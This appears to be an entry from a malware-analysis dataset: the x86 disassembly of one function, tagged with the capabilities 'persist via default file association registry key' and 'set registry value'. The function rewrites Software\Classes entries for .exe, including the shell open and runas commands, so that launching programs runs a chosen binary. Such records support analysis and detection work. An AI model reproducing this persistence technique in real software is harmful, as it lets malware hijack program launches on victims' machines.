Function at 0x405900
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
lea esi, [ebp - 0x188]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x198], edi
call fcn.00405890
test al, al
jne 0x40593c
mov byte [ebp - 0x188], al
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405941
sub eax, edx
sub eax, 0xffffff80
push eax
call fcn.0041f974
mov ebx, eax
mov ecx, 0x22
mov word [ebx], cx
mov ecx, edi
add esp, 4
mov dword [ebp - 0x19c], ebx
mov eax, ecx
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x405970
sub ecx, eax
mov edx, ecx
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405980
mov ecx, edx
shr ecx, 2
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx - 1]
jmp 0x4059a0
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4059a0
mov edx, dword [str.___START___1___]
mov dword [ecx], edx
mov eax, dword [0x43c78c]
mov dword [ecx + 4], eax
mov edx, dword [0x43c790]
mov dword [ecx + 8], edx
mov eax, dword [0x43c794]
mov dword [ecx + 0xc], eax
mov dl, byte [0x43c798]
mov byte [ecx + 0x10], dl
mov edx, ebx
lea ecx, [ebp - 0x188]
lea ebx, [ebx]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x405a00
test al, al
je 0x4059fc
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405a00
add ecx, 2
add edx, 2
test al, al
jne 0x4059e0
xor eax, eax
jmp 0x405a05
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4061d9
mov eax, dword [ebp - 0x190]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a16
sub eax, edx
sub eax, 0xffffff80
push eax
call fcn.0041f974
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x198]
add esp, 4
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405a40
sub eax, ecx
sub eax, 0xffffff80
push eax
call fcn.0041f974
mov edi, dword [ebp - 0x194]
mov ebx, eax
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s
push edi
call fcn.00420bc7
mov ecx, dword [str.Application]
mov dword [ebx], ecx
mov edx, dword [0x43c7b4]
mov dword [ebx + 4], edx
mov eax, dword [0x43c7b8]
mov dword [ebx + 8], eax
mov eax, ebx
add esp, 0x10
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a90
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push edi
sub eax, esi
push connect
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405ae3
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x194]
push eax
push str.SoftwareClasses_s
push ecx
call fcn.00420bc7
mov ecx, 6
mov esi, str.application_x_msdownload
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
movsb byte es:[edi], byte [esi]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405b12
push 0
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
sub eax, esi
mov esi, dword [ebp - 0x194]
push 0
push esi
push connect
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405b6e
push edi
push ebx
push 1
push 0
push str.Content_Type
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x190]
push ecx
push str.SoftwareClasses_sDefaultIcon
push esi
call fcn.00420bc7
mov dx, word [0x43c808]
mov word [ebx], dx
mov al, byte [0x43c80a]
mov byte [ebx + 2], al
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405ba0
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
sub eax, edx
push connect
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405bf3
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s_shellopencommand
push esi
call fcn.00420bc7
mov eax, dword [ebp - 0x198]
mov ecx, 0x22
add esp, 0xc
mov word [ebx], cx
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405c18
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405c24
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x405c40
mov edx, dword [str.___START___1___]
mov dword [eax], edx
mov ecx, dword [0x43c78c]
mov dword [eax + 4], ecx
mov edx, dword [0x43c790]
mov dword [eax + 8], edx
mov ecx, dword [0x43c794]
mov dword [eax + 0xc], ecx
mov dl, byte [0x43c798]
mov byte [eax + 0x10], dl
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405c80
mov esi, dword [ebp - 0x194]
push 0
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405cd9
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x190]
push edx
push str.SoftwareClasses_s_shellopencommand
push esi
call fcn.00420bc7
mov eax, dword [str.__1___]
mov dword [ebx], eax
mov ecx, dword [0x43c838]
mov eax, ebx
add esp, 0xc
mov dword [ebx + 4], ecx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405d03
push 0
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
sub eax, edi
push connect
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405d59
push edi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x190]
push ecx
push str.SoftwareClasses_s_shell_runascommand
push esi
call fcn.00420bc7
mov edx, dword [str.__1___]
mov dword [ebx], edx
mov eax, dword [0x43c838]
mov dword [ebx + 4], eax
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405d83
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
sub eax, edx
push connect
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405dd6
push edi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x190]
push eax
push str.SoftwareClasses_s_shell_runascommand
push esi
call fcn.00420bc7
mov ecx, dword [str.__1___]
mov dword [ebx], ecx
mov edx, dword [0x43c838]
mov eax, ebx
mov dword [ebx + 4], edx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405e01
push 0
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405e57
push edi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x190]
push edx
push 0x43c874
push ebx
call fcn.00420bc7
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405e71
push 0
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405ec8
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 6
mov esi, str.application_x_msdownload
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405ee0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe
push connect
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405f3c
push esi
push ebx
push 1
push 0
push str.Content_Type
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov cx, word [0x43c808]
mov word [ebx], cx
mov dl, byte [0x43c80a]
mov eax, ebx
mov byte [ebx + 2], dl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405f54
push 0
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exeDefaultIcon
push connect
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x405fa7
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x198]
mov edx, 0x22
mov word [ebx], dx
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405fb7
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405fc3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x405fe0
mov ecx, dword [str.___START___1___]
mov dword [eax], ecx
mov edx, dword [0x43c78c]
mov dword [eax + 4], edx
mov ecx, dword [0x43c790]
mov dword [eax + 8], ecx
mov edx, dword [0x43c794]
mov dword [eax + 0xc], edx
mov cl, byte [0x43c798]
mov byte [eax + 0x10], cl
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406020
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x406079
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [str.__1___]
mov dword [ebx], ecx
mov edx, dword [0x43c838]
mov eax, ebx
mov dword [ebx + 4], edx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406090
push 0
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4060e6
push esi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [str.__1___]
mov dword [ebx], edx
mov eax, dword [0x43c838]
mov dword [ebx + 4], eax
mov eax, ebx
lea edx, [eax + 1]
jmp 0x406100
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406100
push 0
lea ecx, [ebp - 0x18c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shell_runascommand
sub eax, edx
push connect
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x406153
push esi
push ebx
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x18c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [str.__1___]
mov dword [ebx], eax
mov ecx, dword [0x43c838]
mov eax, ebx
mov dword [ebx + 4], ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406168
push 0
sub eax, edx
lea edx, [ebp - 0x18c]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareClasses.exe_shell_runascommand
push connect
mov esi, eax
call edi
mov eax, dword [ebp - 0x18c]
test eax, eax
je 0x4061be
push esi
push ebx
push 1
push 0
push str.IsolatedCommand
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x194]
push ecx
call fcn.00420c4b
push ebx
call fcn.00420c4b
mov ebx, dword [ebp - 0x19c]
add esp, 8
push ebx
call fcn.00420c4b
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004204c6
mov esp, ebp
pop ebp
ret